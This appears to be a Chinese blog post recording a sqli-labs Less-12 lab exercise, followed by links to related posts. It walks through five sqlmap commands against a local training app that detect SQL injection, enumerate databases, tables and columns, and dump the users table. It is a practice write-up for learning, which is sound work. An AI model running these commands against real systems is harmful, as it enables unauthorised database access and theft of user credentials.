sqli-labs-Less-12自动化注入方法

sqli-labs 实验记录

Less-12

第一步:进行sqli注入漏洞检测

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms

--batch 表示采用默认参数。
--forms 表示自动提交表单。

查询结果如图所示:存在注入漏洞,注入类型分别为:boolean-based blind, error-based,time-based blind, union query; 并给出了相应的payload。

第二步:查询服务器中的所有数据库

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms --dbs

--dbs 表示查询数据库。

查询结果如图所示:数据库共有两个,分别为information_schema, security。

第三步:查询指定数据库中的所有表

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms -D security --tables

-D security 表示指定查询数据库security;
--tables 表示查询数据库中的所有表。

查询结果如图所示:数据表共有4个,分别是emails, referers, uagents, users。

第四步:查询指定数据表中的所有列

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms -D security -T users --columns

-T users 表示指定查询数据表users;
--columns 表示查询数据表中的所有列。

查询结果如图所示:数据列共有3个,分别是id, password, username。

第五步:查询指定数据表中的具体信息

输入命令:

复制代码
sqlmap -u http://localhost/Less-12/?id=1 --batch --forms -D security -T users --dump

--dump 表示查询数据表中的具体信息

查询结果如图所示:数据表users中的具体信息共有13条。

相关推荐
墨笔之风1 小时前
MySQL与PostgreSQL选型对比及适用场景说明
数据库·mysql·postgresql
heze092 小时前
sqli-labs-Less-13自动化注入方法
mysql·网络安全·自动化
未定义.2212 小时前
第5篇:进阶优化:数据驱动+日志体系+失败重试实战
python·ui·自动化·jenkins·集成测试·pytest
JeffreyTaiT2 小时前
根据binlog恢复SQL
前端·mysql
智象科技2 小时前
高效运维新利器-裸金属自动化重装系统
运维·自动化·it运维·一体化运维
大方子2 小时前
交易所钱包划转存在的逻辑漏洞1
网络安全·好靶场
哟哟耶耶2 小时前
java-MySql下载与配置环境变量
java·开发语言·mysql
旗讯数字2 小时前
【技术实测】旗讯OCR手写问卷识别:从纸质文档到结构化表格的自动化方案
运维·自动化·ocr
码农胖虎-java2 小时前
【高频面试题】MySQL高频面试&实战:慢查询排查+索引底层(B+树/联合索引)全解析
b树·mysql·面试